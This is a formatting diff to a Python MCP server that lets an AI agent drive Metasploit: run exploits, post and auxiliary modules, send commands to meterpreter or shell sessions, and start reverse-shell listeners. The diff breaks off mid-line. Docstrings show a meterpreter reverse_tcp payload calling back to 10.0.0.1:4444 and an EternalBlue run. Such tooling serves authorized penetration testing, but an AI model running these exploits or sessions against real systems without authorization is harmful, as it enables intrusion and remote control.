asyncio.get_event_loop().time() - exploit_start_time - logger.info(f"Exploit '{module}' execution completed in {exploit_duration:.1f}s with status: {result.get('status')}") - + logger.info( + f"Exploit '{module}' execution completed in {exploit_duration:.1f}s with status: {result.get('status')}" + ) + # Report completion if ctx available if ctx: await ctx.report_progress( progress=100, total=100, - message=f"Exploit execution completed: {result.get('status', 'unknown')}" + message=f"Exploit execution completed: {result.get('status', 'unknown')}", ) if payload_spec is None: - result['extra_info'] = "No payload was provided, are you sure that's what you want?" + result["extra_info"] = "No payload was provided, are you sure that's what you want?" else: result["payload_stage"] = payload_stage or "unknown" - if ( - result["payload_stage"] == "stageless" - and "/webapp/" in module.lower() - ): + if result["payload_stage"] == "stageless" and "/webapp/" in module.lower(): result["pre_flight_warning"] = ( "Stageless payload selected for a webapp exploit. " "If target behavior is unstable, retry with a staged payload." @@ -3539,9 +4000,10 @@ async def run_exploit( result["check_output"] = check_output_for_result logger.info(f"Full outcome of exploit '{module}': {result}") - + return result + @mcp.tool() async def run_post_module( module: str, @@ -3571,7 +4033,9 @@ async def run_post_module( """ # Cap timeout_seconds at MAX_TOOL_TIMEOUT_SECONDS (120s) if timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: - logger.warning(f"timeout_seconds {timeout_seconds}s exceeds max {MAX_TOOL_TIMEOUT_SECONDS}s, capping to {MAX_TOOL_TIMEOUT_SECONDS}s") + logger.warning( + f"timeout_seconds {timeout_seconds}s exceeds max {MAX_TOOL_TIMEOUT_SECONDS}s, capping to {MAX_TOOL_TIMEOUT_SECONDS}s" + ) timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS if inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: logger.warning( @@ -3579,20 +4043,16 @@ async def run_post_module( f"capping to {MAX_TOOL_TIMEOUT_SECONDS}s" ) inactivity_timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS - + logger.info(f"Request to run post module {module} on session {session_id}. Job: {run_as_job}") - + # Report initial progress if ctx available if ctx: - await ctx.report_progress( - progress=0, - total=100, - message=f"Starting post module: {module}" - ) - + await ctx.report_progress(progress=0, total=100, message=f"Starting post module: {module}") + # Validate module exists before proceeding try: - await _get_module_object('post', module) + await _get_module_object("post", module) logger.debug(f"Module '{module}' validated successfully") except InvalidModuleError as e: logger.warning(f"Post module '{module}' not found: {e}") @@ -3600,63 +4060,69 @@ async def run_post_module( except Exception as e: logger.error(f"Error validating module '{module}': {e}") return {"status": "error", "message": f"Error validating module '{module}': {e}"} - + # Parse options gracefully (handles both dict and string formats) try: module_options = _parse_options_gracefully(options) except ValueError as e: return {"status": "error", "message": f"Invalid options format: {e}"} - - module_options['SESSION'] = session_id # Ensure SESSION is always set + + module_options["SESSION"] = session_id # Ensure SESSION is always set # Add basic session validation before running client = get_msf_client() try: current_sessions = await _list_sessions_str_keys(client) if str(session_id) not in current_sessions: - logger.error(f"Session {session_id} not found for post module {module}.") - return {"status": "error", "message": f"Session {session_id} not found.", "module": module} + logger.error(f"Session {session_id} not found for post module {module}.") + return { + "status": "error", + "message": f"Session {session_id} not found.", + "module": module, + } except MsfRpcError as e: logger.error(f"Failed to validate session {session_id} before running post module: {e}") # Optionally proceed with caution or return error - return {"status": "error", "message": f"Error validating session {session_id}: {e}", "module": module} - + return { + "status": "error", + "message": f"Error validating session {session_id}: {e}", + "module": module, + } # Use keep-alive for potentially long-running post module execution keepalive = get_keepalive_manager( - ctx, - operation_name=f"Post module {module}", - initial_progress=10, - max_progress=90 + ctx, operation_name=f"Post module {module}", initial_progress=10, max_progress=90 ) - + try: await keepalive.start() - + if run_as_job: result = await _execute_module_rpc( - module_type='post', + module_type="post", module_name=module, - module_options=module_options + module_options=module_options, # No payload for post modules ) else: result = await _execute_module_console( - module_type='post', + module_type="post", module_name=module, module_options=module_options, - command='run', + command="run", timeout=timeout_seconds, inactivity_timeout=inactivity_timeout_seconds, - exit_terms_regexes=[FAILED_TO_LOAD_MODULE_RE] # Return early when module fails to load + exit_terms_regexes=[ + FAILED_TO_LOAD_MODULE_RE + ], # Return early when module fails to load ) - + # Report completion if ctx available if ctx: await ctx.report_progress( progress=100, total=100, - message=f"Post module completed: {result.get('status', 'unknown')}" + message=f"Post module completed: {result.get('status', 'unknown')}", ) return result except InvalidModuleError as e: @@ -3665,11 +4131,12 @@ async def run_post_module( finally: await keepalive.stop(send_completion=False) + @mcp.tool() async def run_auxiliary_module( module: str, options: Union[Dict[str, Any], str], - run_as_job: bool = True, # Default False for scanners often makes sense + run_as_job: bool = True, # Default False for scanners often makes sense timeout_seconds: int = LONG_CONSOLE_READ_TIMEOUT, inactivity_timeout_seconds: int = SESSION_READ_INACTIVITY_TIMEOUT, ctx: Optional[Context] = None, @@ -3692,7 +4159,9 @@ async def run_auxiliary_module( """ # Cap timeout_seconds at MAX_TOOL_TIMEOUT_SECONDS (120s) if timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: - logger.warning(f"timeout_seconds {timeout_seconds}s exceeds max {MAX_TOOL_TIMEOUT_SECONDS}s, capping to {MAX_TOOL_TIMEOUT_SECONDS}s") + logger.warning( + f"timeout_seconds {timeout_seconds}s exceeds max {MAX_TOOL_TIMEOUT_SECONDS}s, capping to {MAX_TOOL_TIMEOUT_SECONDS}s" + ) timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS if inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: logger.warning( @@ -3700,20 +4169,18 @@ async def run_auxiliary_module( f"capping to {MAX_TOOL_TIMEOUT_SECONDS}s" ) inactivity_timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS - + logger.info(f"Request to run auxiliary module {module}. Job: {run_as_job}") - + # Report initial progress if ctx available if ctx: await ctx.report_progress( - progress=0, - total=100, - message=f"Starting auxiliary module: {module}" + progress=0, total=100, message=f"Starting auxiliary module: {module}" ) - + # Validate module exists before proceeding try: - await _get_module_object('auxiliary', module) + await _get_module_object("auxiliary", module) logger.debug(f"Module '{module}' validated successfully") except InvalidModuleError as e: logger.warning(f"Auxiliary module '{module}' not found: {e}") @@ -3721,7 +4188,7 @@ async def run_auxiliary_module( except Exception as e: logger.error(f"Error validating module '{module}': {e}") return {"status": "error", "message": f"Error validating module '{module}': {e}"} - + # Parse options gracefully (handles both dict and string formats) try: module_options = _parse_options_gracefully(options) @@ -3730,39 +4197,38 @@ async def run_auxiliary_module( # Use keep-alive for potentially long-running auxiliary module execution keepalive = get_keepalive_manager( - ctx, - operation_name=f"Auxiliary module {module}", - initial_progress=10, - max_progress=90 + ctx, operation_name=f"Auxiliary module {module}", initial_progress=10, max_progress=90 ) try: await keepalive.start() - + if run_as_job: result = await _execute_module_rpc( - module_type='auxiliary', + module_type="auxiliary", module_name=module, - module_options=module_options + module_options=module_options, # No payload for aux modules ) else: result = await _execute_module_console( - module_type='auxiliary', + module_type="auxiliary", module_name=module, module_options=module_options, - command='run', + command="run", timeout=timeout_seconds, inactivity_timeout=inactivity_timeout_seconds, - exit_terms_regexes=[FAILED_TO_LOAD_MODULE_RE] # Return early when module fails to load + exit_terms_regexes=[ + FAILED_TO_LOAD_MODULE_RE + ], # Return early when module fails to load ) - + # Report completion if ctx available if ctx: await ctx.report_progress( progress=100, total=100, - message=f"Auxiliary module completed: {result.get('status', 'unknown')}" + message=f"Auxiliary module completed: {result.get('status', 'unknown')}", ) return result except InvalidModuleError as e: @@ -3779,9 +4245,7 @@ def _hide_inactivity_timeout_from_signature(func): target = getattr(func, "fn", None) or getattr(func, "func", None) or func sig = inspect.signature(target) filtered_params = [ - param - for param in sig.parameters.values() - if param.name != "inactivity_timeout_seconds" + param for param in sig.parameters.values() if param.name != "inactivity_timeout_seconds" ] filtered_sig = sig.replace(parameters=filtered_params) target.__signature__ = filtered_sig @@ -3796,38 +4260,51 @@ def _hide_inactivity_timeout_from_signature(func): _hide_inactivity_timeout_from_signature(run_post_module) _hide_inactivity_timeout_from_signature(run_auxiliary_module) + @mcp.tool() async def list_active_sessions() -> Dict[str, Any]: """List active Metasploit sessions with their details.""" client = get_msf_client() logger.info("Listing active Metasploit sessions.") try: - logger.info(f"Requesting active sessions list from Metasploit (timeout: {RPC_CALL_TIMEOUT}s)") + logger.info( + f"Requesting active sessions list from Metasploit (timeout: {RPC_CALL_TIMEOUT}s)" + ) start_time = asyncio.get_event_loop().time() - + sessions_dict = await asyncio.wait_for( - asyncio.to_thread(lambda: client.sessions.list), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: client.sessions.list), timeout=RPC_CALL_TIMEOUT ) - + rpc_duration = asyncio.get_event_loop().time() - start_time - + if not isinstance(sessions_dict, dict): - logger.error(f"Expected dict from sessions.list, got {type(sessions_dict)} after {rpc_duration:.1f}s") - return {"status": "error", "message": f"Unexpected data type for sessions list: {type(sessions_dict)}"} + logger.error( + f"Expected dict from sessions.list, got {type(sessions_dict)} after {rpc_duration:.1f}s" + ) + return { + "status": "error", + "message": f"Unexpected data type for sessions list: {type(sessions_dict)}", + } + + logger.info( + f"Successfully retrieved {len(sessions_dict)} sessions from Metasploit in {rpc_duration:.1f}s" + ) - logger.info(f"Successfully retrieved {len(sessions_dict)} sessions from Metasploit in {rpc_duration:.1f}s") - # Log session details at debug level if sessions_dict: for session_id, session_info in sessions_dict.items(): - session_type = session_info.get('type', 'unknown') - target_host = session_info.get('target_host', 'unknown') + session_type = session_info.get("type", "unknown") + target_host = session_info.get("target_host", "unknown") logger.debug(f"Session {session_id}: type={session_type}, target={target_host}") - + # Ensure keys are strings for consistent JSON sessions_dict_str_keys = {str(k): v for k, v in sessions_dict.items()} - return {"status": "success", "sessions": sessions_dict_str_keys, "count": len(sessions_dict_str_keys)} + return { + "status": "success", + "sessions": sessions_dict_str_keys, + "count": len(sessions_dict_str_keys), + } except asyncio.TimeoutError: error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing sessions from Metasploit server. Server may be slow or unresponsive." logger.error(error_msg) @@ -3839,6 +4316,7 @@ async def list_active_sessions() -> Dict[str, Any]: logger.exception("Unexpected error listing sessions.") return {"status": "error", "message": f"Unexpected error listing sessions: {e}"} + async def _drive_meterpreter_command( session: Any, command: str, @@ -4030,7 +4508,9 @@ async def _drive_shell_command( "message": f"Shell command timed out after {timeout_seconds} seconds.", "output": output_buffer, "reason": "timeout", - "meterpreter_errors": [line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer)], + "meterpreter_errors": [ + line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer) + ], "chunks_read": total_chunks_read, "bytes_read": total_bytes_read, "elapsed_seconds": elapsed_time, @@ -4052,7 +4532,9 @@ async def _drive_shell_command( if SHELL_PROMPT_RE.search(output_buffer): command_duration = now - command_start_time - meterpreter_errors = [line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer)] + meterpreter_errors = [ + line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer) + ] if meterpreter_errors: return { "status": "error", @@ -4078,7 +4560,9 @@ async def _drive_shell_command( "elapsed_seconds": command_duration, } elif (now - last_data_time) > inactivity_timeout_seconds: - meterpreter_errors = [line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer)] + meterpreter_errors = [ + line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer) + ] if not output_buffer: return { "status": "empty", @@ -4140,7 +4624,9 @@ async def _drive_shell_command( "message": f"Error executing Shell command: {run_err}", "output": output_buffer, "reason": "error", - "meterpreter_errors": [line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer)], + "meterpreter_errors": [ + line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer) + ], "chunks_read": 0, "bytes_read": len(output_buffer), "elapsed_seconds": asyncio.get_event_loop().time() - command_start_time, @@ -4179,7 +4665,9 @@ async def send_session_command( """ # Cap timeout_seconds at MAX_TOOL_TIMEOUT_SECONDS (120s) if timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: - logger.warning(f"timeout_seconds {timeout_seconds}s exceeds max {MAX_TOOL_TIMEOUT_SECONDS}s, capping to {MAX_TOOL_TIMEOUT_SECONDS}s") + logger.warning( + f"timeout_seconds {timeout_seconds}s exceeds max {MAX_TOOL_TIMEOUT_SECONDS}s, capping to {MAX_TOOL_TIMEOUT_SECONDS}s" + ) timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS if inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: logger.warning( @@ -4187,11 +4675,11 @@ async def send_session_command( f"capping to {MAX_TOOL_TIMEOUT_SECONDS}s" ) inactivity_timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS - + client = get_msf_client() logger.info(f"Sending command to session {session_id}: '{command}'") session_id_str = str(session_id) - + # Acquire per-session lock to prevent concurrent access to the same session session_lock = await _get_session_lock(session_id_str) try: @@ -4217,30 +4705,29 @@ async def send_session_command( await ctx.report_progress( progress=0, total=100, - message=f"Sending command to session {session_id}: {command[:50]}..." + message=f"Sending command to session {session_id}: {command[:50]}...", ) - + # Use keep-alive for potentially long-running session commands keepalive = get_keepalive_manager( - ctx, - operation_name=f"Session {session_id} command", - initial_progress=5, - max_progress=90 + ctx, operation_name=f"Session {session_id} command", initial_progress=5, max_progress=90 ) try: await keepalive.start() - + # --- Get Session Info and Object --- logger.info(f"Retrieving session {session_id} information and object") start_time = asyncio.get_event_loop().time() - + current_sessions = await _list_sessions_str_keys(client) session_list_duration = asyncio.get_event_loop().time() - start_time - + if session_id_str not in current_sessions: - logger.error(f"Session {session_id} not found in {len(current_sessions)} active sessions " - f"(retrieved in {session_list_duration:.1f}s)") + logger.error( + f"Session {session_id} not found in {len(current_sessions)} active sessions " + f"(retrieved in {session_list_duration:.1f}s)" + ) await _cleanup_session_lock(session_id_str) return { "status": "error", @@ -4251,8 +4738,12 @@ async def send_session_command( } session_info = current_sessions[session_id_str] - session_type = session_info.get('type', 'unknown').lower() if isinstance(session_info, dict) else 'unknown' - target_host = session_info.get('target_host', 'unknown') + session_type = ( + session_info.get("type", "unknown").lower() + if isinstance(session_info, dict) + else "unknown" + ) + target_host = session_info.get("target_host", "unknown") logger.info(f"Session {session_id} found: type={session_type}, target={target_host}") session_obj_start = asyncio.get_event_loop().time() @@ -4262,10 +4753,12 @@ async def send_session_command( session_id_str=session_id_str, ) session_obj_duration = asyncio.get_event_loop().time() - session_obj_start - + if not session: - logger.error(f"Failed to get session object for existing session {session_id} " - f"after {session_obj_duration:.1f}s") + logger.error( + f"Failed to get session object for existing session {session_id} " + f"after {session_obj_duration:.1f}s" + ) return { "status": "error", "message": f"Error retrieving session {session_id} object.", @@ -4273,12 +4766,12 @@ async def send_session_command( "elapsed_seconds": 0.0, "output": "", } - + logger.debug(f"Session object retrieved in {session_obj_duration:.1f}s") # --- Execute Command Based on Type --- output = "" - status = "error" # Default status + status = "error" # Default status message = "Command execution failed or type unknown." reason = "error" elapsed_seconds = 0.0 @@ -4286,24 +4779,30 @@ async def send_session_command( bytes_read = 0 meterpreter_errors: List[str] = [] - if session_type == 'meterpreter': + if session_type == "meterpreter": if session_shell_type.get(session_id_str) is None: - session_shell_type[session_id_str] = 'meterpreter' + session_shell_type[session_id_str] = "meterpreter" current_mode = session_shell_type[session_id_str] - logger.info(f"Executing Meterpreter command '{command}' on session {session_id} " - f"(current mode: {current_mode}, timeout: {timeout_seconds}s)") - + logger.info( + f"Executing Meterpreter command '{command}' on session {session_id} " + f"(current mode: {current_mode}, timeout: {timeout_seconds}s)" + ) + command_start_time = asyncio.get_event_loop().time() try: if command == "shell": - if session_shell_type[session_id_str] == 'meterpreter': - logger.info(f"Switching session {session_id} from meterpreter to shell mode") + if session_shell_type[session_id_str] == "meterpreter": + logger.info( + f"Switching session {session_id} from meterpreter to shell mode" + ) output = await asyncio.wait_for( - asyncio.to_thread(lambda: session.run_with_output(command, end_strs=['created.'])), - timeout=timeout_seconds + asyncio.to_thread( + lambda: session.run_with_output(command, end_strs=["created."]) + ), + timeout=timeout_seconds, ) - session_shell_type[session_id_str] = 'shell' + session_shell_type[session_id_str] = "shell" shell_preamble = await asyncio.to_thread(lambda: session.read()) or "" if shell_preamble: logger.debug( @@ -4327,7 +4826,7 @@ async def send_session_command( elapsed_seconds = asyncio.get_event_loop().time() - command_start_time logger.debug(f"Session {session_id} already in shell mode") elif command == "exit": - if session_shell_type[session_id_str] == 'meterpreter': + if session_shell_type[session_id_str] == "meterpreter": output = "You are already in meterpreter mode. No need to exit." status = "success" message = "Session already in meterpreter mode." @@ -4335,21 +4834,24 @@ async def send_session_command( elapsed_seconds = asyncio.get_event_loop().time() - command_start_time logger.debug(f"Session {session_id} already in meterpreter mode") else: - logger.info(f"Switching session {session_id} from shell to meterpreter mode") + logger.info( + f"Switching session {session_id} from shell to meterpreter mode" + ) await asyncio.wait_for( asyncio.to_thread(lambda: session.read()), # Clear buffer - timeout=timeout_seconds + timeout=timeout_seconds, ) await asyncio.wait_for( - asyncio.to_thread(lambda: session.detach()), - timeout=timeout_seconds + asyncio.to_thread(lambda: session.detach()), timeout=timeout_seconds ) - session_shell_type[session_id_str] = 'meterpreter' + session_shell_type[session_id_str] = "meterpreter" status = "success" message = "Session switched to meterpreter mode." reason = "mode" elapsed_seconds = asyncio.get_event_loop().time() - command_start_time - logger.info(f"Session {session_id} successfully switched to meterpreter mode") + logger.info( + f"Session {session_id} successfully switched to meterpreter mode" + ) elif current_mode == "shell": logger.debug(f"Executing shell-mode command via Meterpreter session: {command}") shell_result = await _drive_shell_command( @@ -4401,24 +4903,36 @@ async def send_session_command( try: output = await asyncio.to_thread(lambda: session.read()) or "" bytes_read = len(output) - meterpreter_errors = [line.strip() for line in METERPRETER_ERROR_RE.findall(output)] + meterpreter_errors = [ + line.strip() for line in METERPRETER_ERROR_RE.findall(output) + ] except Exception as read_err: - logger.warning(f"Final Meterpreter read failed after timeout on session {session_id}: {read_err}") + logger.warning( + f"Final Meterpreter read failed after timeout on session {session_id}: {read_err}" + ) except (MsfRpcError, Exception) as run_err: - logger.error(f"Error during Meterpreter command execution for '{command}': {run_err}") + logger.error( + f"Error during Meterpreter command execution for '{command}': {run_err}" + ) message = f"Error executing Meterpreter command: {run_err}" reason = "error" elapsed_seconds = asyncio.get_event_loop().time() - command_start_time try: output = await asyncio.to_thread(lambda: session.read()) or "" bytes_read = len(output) - meterpreter_errors = [line.strip() for line in METERPRETER_ERROR_RE.findall(output)] + meterpreter_errors = [ + line.strip() for line in METERPRETER_ERROR_RE.findall(output) + ] except Exception as read_err: - logger.warning(f"Final Meterpreter read failed after error on session {session_id}: {read_err}") + logger.warning( + f"Final Meterpreter read failed after error on session {session_id}: {read_err}" + ) - elif session_type == 'shell': - logger.info(f"Executing shell command '{command}' on session {session_id} " - f"(timeout: {timeout_seconds}s, inactivity: {inactivity_timeout_seconds}s)") + elif session_type == "shell": + logger.info( + f"Executing shell command '{command}' on session {session_id} " + f"(timeout: {timeout_seconds}s, inactivity: {inactivity_timeout_seconds}s)" + ) shell_result = await _drive_shell_command( session=session, command=command, @@ -4435,17 +4949,17 @@ async def send_session_command( bytes_read = shell_result.get("bytes_read", len(output)) meterpreter_errors = shell_result.get("meterpreter_errors", []) - else: # Unknown session type - logger.warning(f"Cannot execute command: Unknown session type '{session_type}' for session {session_id}") + else: # Unknown session type + logger.warning( + f"Cannot execute command: Unknown session type '{session_type}' for session {session_id}" + ) message = f"Cannot execute command: Unknown session type '{session_type}'." reason = "error" # Report completion progress if ctx available if ctx: await ctx.report_progress( - progress=100, - total=100, - message=f"Session command completed: {status}" + progress=100, total=100, message=f"Session command completed: {status}" ) return { "status": status, @@ -4460,14 +4974,14 @@ async def send_session_command( except MsfRpcError as e: if "Session ID is not valid" in str(e): - logger.error(f"RPC Error: Session {session_id} is invalid: {e}") - return { - "status": "error", - "message": f"Session {session_id} is not valid.", - "reason": "error", - "elapsed_seconds": 0.0, - "output": "", - } + logger.error(f"RPC Error: Session {session_id} is invalid: {e}") + return { + "status": "error", + "message": f"Session {session_id} is not valid.", + "reason": "error", + "elapsed_seconds": 0.0, + "output": "", + } logger.error(f"MsfRpcError interacting with session {session_id}: {e}") return { "status": "error", @@ -4476,7 +4990,7 @@ async def send_session_command( "elapsed_seconds": 0.0, "output": "", } - except KeyError: # May occur if session disappears between list and access + except KeyError: # May occur if session disappears between list and access logger.error(f"Session {session_id} likely disappeared (KeyError).") return { "status": "error", @@ -4501,15 +5015,16 @@ async def send_session_command( # --- Job and Listener Management Tools --- + @mcp.tool() async def list_listeners() -> Dict[str, Any]: """ List all active Metasploit jobs, categorizing exploit/multi/handler jobs as "handlers". - + This function returns both: - handlers: Active listeners (exploit/multi/handler) created by start_listener() or run_exploit() - other_jobs: Other background jobs (auxiliary modules, post-exploitation, etc.) - + Use this to check what listeners are currently active before starting new ones to avoid port conflicts. Each handler entry includes job_id, name, and datastore (with LHOST/LPORT). """ @@ -4518,12 +5033,14 @@ async def list_listeners() -> Dict[str, Any]: try: logger.debug(f"Calling client.jobs.list with {RPC_CALL_TIMEOUT}s timeout...") jobs = await asyncio.wait_for( - asyncio.to_thread(lambda: client.jobs.list), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: client.jobs.list), timeout=RPC_CALL_TIMEOUT ) if not isinstance(jobs, dict): logger.error(f"Unexpected data type for jobs list: {type(jobs)}") - return {"status": "error", "message": f"Unexpected data type for jobs list: {type(jobs)}"} + return { + "status": "error", + "message": f"Unexpected data type for jobs list: {type(jobs)}", + } logger.info(f"Retrieved {len(jobs)} active jobs from MSF.") handlers = {} @@ -4531,30 +5048,37 @@ async def list_listeners() -> Dict[str, Any]: for job_id, job_info in jobs.items(): job_id_str = str(job_id) - job_data = { 'job_id': job_id_str, 'name': 'Unknown', 'details': job_info } # Store raw info + job_data = { + "job_id": job_id_str, + "name": "Unknown", + "details": job_info, + } # Store raw info is_handler = False if isinstance(job_info, dict): - job_data['name'] = job_info.get('name', 'Unknown Job') - job_data['start_time'] = job_info.get('start_time') # Keep if useful - datastore = job_info.get('datastore', {}) - if isinstance(datastore, dict): job_data['datastore'] = datastore # Include datastore - - # Primary check: module path in name or info - job_name_or_info = (job_info.get('name', '') + job_info.get('info', '')).lower() - if 'exploit/multi/handler' in job_name_or_info: - is_handler = True - # Secondary check: presence of typical handler options - elif 'payload' in datastore or ('lhost' in datastore and 'lport' in datastore): - is_handler = True - logger.debug(f"Job {job_id_str} identified as potential handler via datastore options.") + job_data["name"] = job_info.get("name", "Unknown Job") + job_data["start_time"] = job_info.get("start_time") # Keep if useful + datastore = job_info.get("datastore", {}) + if isinstance(datastore, dict): + job_data["datastore"] = datastore # Include datastore + + # Primary check: module path in name or info + job_name_or_info = (job_info.get("name", "") + job_info.get("info", "")).lower() + if "exploit/multi/handler" in job_name_or_info: + is_handler = True + # Secondary check: presence of typical handler options + elif "payload" in datastore or ("lhost" in datastore and "lport" in datastore): + is_handler = True + logger.debug( + f"Job {job_id_str} identified as potential handler via datastore options." + ) if is_handler: - logger.debug(f"Categorized job {job_id_str} as a handler.") - handlers[job_id_str] = job_data + logger.debug(f"Categorized job {job_id_str} as a handler.") + handlers[job_id_str] = job_data else: - logger.debug(f"Categorized job {job_id_str} as non-handler.") - other_jobs[job_id_str] = job_data + logger.debug(f"Categorized job {job_id_str} as non-handler.") + other_jobs[job_id_str] = job_data return { "status": "success", @@ -4562,7 +5086,7 @@ async def list_listeners() -> Dict[str, Any]: "other_jobs": other_jobs, "handler_count": len(handlers), "other_job_count": len(other_jobs), - "total_job_count": len(jobs) + "total_job_count": len(jobs), } except asyncio.TimeoutError: @@ -4576,25 +5100,26 @@ async def list_listeners() -> Dict[str, Any]: logger.exception("Unexpected error listing jobs/handlers.") return {"status": "error", "message": f"Unexpected server error listing jobs: {e}"} + @mcp.tool() async def start_listener( payload: str, lhost: str, lport: int, additional_options: Optional[Union[Dict[str, Any], str]] = None, - exit_on_session: bool = False, # Option to keep listener running + exit_on_session: bool = False, # Option to keep listener running reverselistenerbindaddress: Optional[str] = None, reverselistenerbindport: Optional[int] = None, ctx: Optional[Context] = None, ) -> Dict[str, Any]: """ Start a new Metasploit handler (exploit/multi/handler) as a background job. - + CRITICAL - WHEN TO USE THIS vs run_exploit(): - DO NOT use this function if you're about to call run_exploit() with a payload! + DO NOT use this function if you're about to call run_exploit() with a payload! The run_exploit() function AUTOMATICALLY creates its own listener when you provide payload_name and payload_options. Using both will cause port conflicts and failures. - + USE start_listener() ONLY FOR THESE SCENARIOS: 1. Standalone listeners for manually generated payloads (from generate_payload tool) - Example: Generate a .exe payload, then start listener to catch it when executed @@ -4604,19 +5129,19 @@ async def start_listener( - Example: Using external tools/scripts that connect back to Metasploit handlers 4. Pre-staging listeners for multi-stage attacks where timing is critical - Example: Listener must exist before triggering external payload delivery - + DO NOT USE start_listener() when: - You're about to call run_exploit() with a payload - it handles the listener automatically - You're running any Metasploit exploit module - use run_exploit() instead - + EXAMPLE - CORRECT USAGE (standalone listener for generated payload): # Generate a payload executable - result = await generate_payload('windows/meterpreter/reverse_tcp', 'exe', + result = await generate_payload('windows/meterpreter/reverse_tcp', 'exe', lhost='10.0.0.1', lport=4444) # Start listener to catch connections from that payload await start_listener('windows/meterpreter/reverse_tcp', '10.0.0.1', 4444) # Now distribute/execute the generated payload file elsewhere - + EXAMPLE - INCORRECT USAGE (conflicts with run_exploit): await start_listener('windows/meterpreter/reverse_tcp', '10.0.0.1', 4444) # DON'T DO THIS await run_exploit('exploit/windows/smb/ms17_010_eternalblue', @@ -4642,23 +5167,30 @@ async def start_listener( Dictionary with handler status (job_id) or error details. """ # Set defaults for bind address and port - bind_address = reverselistenerbindaddress if reverselistenerbindaddress is not None else "0.0.0.0" + bind_address = ( + reverselistenerbindaddress if reverselistenerbindaddress is not None else "0.0.0.0" + ) bind_port = reverselistenerbindport if reverselistenerbindport is not None else lport - - logger.info(f"Request to start listener for {payload} on {lhost}:{lport}. " - f"Bind: {bind_address}:{bind_port}. ExitOnSession: {exit_on_session}") + + logger.info( + f"Request to start listener for {payload} on {lhost}:{lport}. " + f"Bind: {bind_address}:{bind_port}. ExitOnSession: {exit_on_session}" + ) if not (1 <= lport <= 65535): return {"status": "error", "message": "Invalid LPORT. Must be between 1 and 65535."} - + if reverselistenerbindport is not None and not (1 <= reverselistenerbindport <= 65535): - return {"status": "error", "message": "Invalid ReverseListenerBindPort. Must be between 1 and 65535."} - + return { + "status": "error", + "message": "Invalid ReverseListenerBindPort. Must be between 1 and 65535.", + } + # Validate bind address (async to avoid blocking event loop on socket operations) is_valid, error_msg = await validate_bind_address(bind_address) if not is_valid: return {"status": "error", "message": f"Invalid ReverseListenerBindAddress: {error_msg}"} - + # Check if the port is available before trying to bind port_available, port_error = await check_port_available(bind_port, bind_address) if not port_available: @@ -4671,46 +5203,41 @@ async def start_listener( return {"status": "error", "message": f"Invalid additional_options format: {e}"} # exploit/multi/handler options - module_options = {'ExitOnSession': exit_on_session} + module_options = {"ExitOnSession": exit_on_session} # Payload options (passed within the payload_spec) payload_options = parsed_additional_options - payload_options['LHOST'] = lhost - payload_options['LPORT'] = lport - + payload_options["LHOST"] = lhost + payload_options["LPORT"] = lport + # Always set bind address to ensure 0.0.0.0 default (unless user specified otherwise) - payload_options['ReverseListenerBindAddress'] = bind_address - + payload_options["ReverseListenerBindAddress"] = bind_address + # Only set bind port if it differs from LPORT if bind_port != lport: - payload_options['ReverseListenerBindPort'] = bind_port + payload_options["ReverseListenerBindPort"] = bind_port payload_spec = {"name": payload, "options": payload_options} # Report initial progress if ctx available if ctx: await ctx.report_progress( - progress=0, - total=100, - message=f"Starting listener: {payload} on {lhost}:{lport}" + progress=0, total=100, message=f"Starting listener: {payload} on {lhost}:{lport}" ) - + # Use keep-alive for listener startup keepalive = get_keepalive_manager( - ctx, - operation_name=f"Start listener {payload}", - initial_progress=10, - max_progress=90 + ctx, operation_name=f"Start listener {payload}", initial_progress=10, max_progress=90 ) # Use the RPC helper to start the handler job try: await keepalive.start() - + result = await _execute_module_rpc( - module_type='exploit', - module_name='multi/handler', # Use base name for helper + module_type="exploit", + module_name="multi/handler", # Use base name for helper module_options=module_options, - payload_spec=payload_spec + payload_spec=payload_spec, ) except InvalidModuleError as e: logger.warning(f"Payload '{payload}' not found for listener: {e}") @@ -4721,22 +5248,31 @@ async def start_listener( # Report completion if ctx available if ctx: await ctx.report_progress( - progress=100, - total=100, - message=f"Listener started: {result.get('status', 'unknown')}" + progress=100, total=100, message=f"Listener started: {result.get('status', 'unknown')}" ) # Rename status/message slightly for clarity if result.get("status") == "success": - bind_info = f" (binding to {bind_address}:{bind_port})" if (bind_address != lhost or bind_port != lport) else "" - result["message"] = f"Listener for {payload} started as job {result.get('job_id')} on {lhost}:{lport}{bind_info}." - elif result.get("status") == "warning": # e.g., job started but polling failed (not applicable here but handle) - result["message"] = f"Listener job {result.get('job_id')} started, but encountered issues: {result.get('message')}" - else: # Error case - result["message"] = f"Failed to start listener: {result.get('message')}" + bind_info = ( + f" (binding to {bind_address}:{bind_port})" + if (bind_address != lhost or bind_port != lport) + else "" + ) + result["message"] = ( + f"Listener for {payload} started as job {result.get('job_id')} on {lhost}:{lport}{bind_info}." + ) + elif ( + result.get("status") == "warning" + ): # e.g., job started but polling failed (not applicable here but handle) + result["message"] = ( + f"Listener job {result.get('job_id')} started, but encountered issues: {result.get('message')}" + ) + else: # Error case + result["message"] = f"Failed to start listener: {result.get('message')}" return result + @mcp.tool() async def stop_job(job_id: int) -> Dict[str, Any]: """ @@ -4754,7 +5290,7 @@ async def stop_job(job_id: int) -> Dict[str, Any]: logger.error(f"Job {job_id} not found, cannot stop.") return {"status": "error", "message": f"Job {job_id} not found."} if isinstance(jobs_before.get(job_id_str), 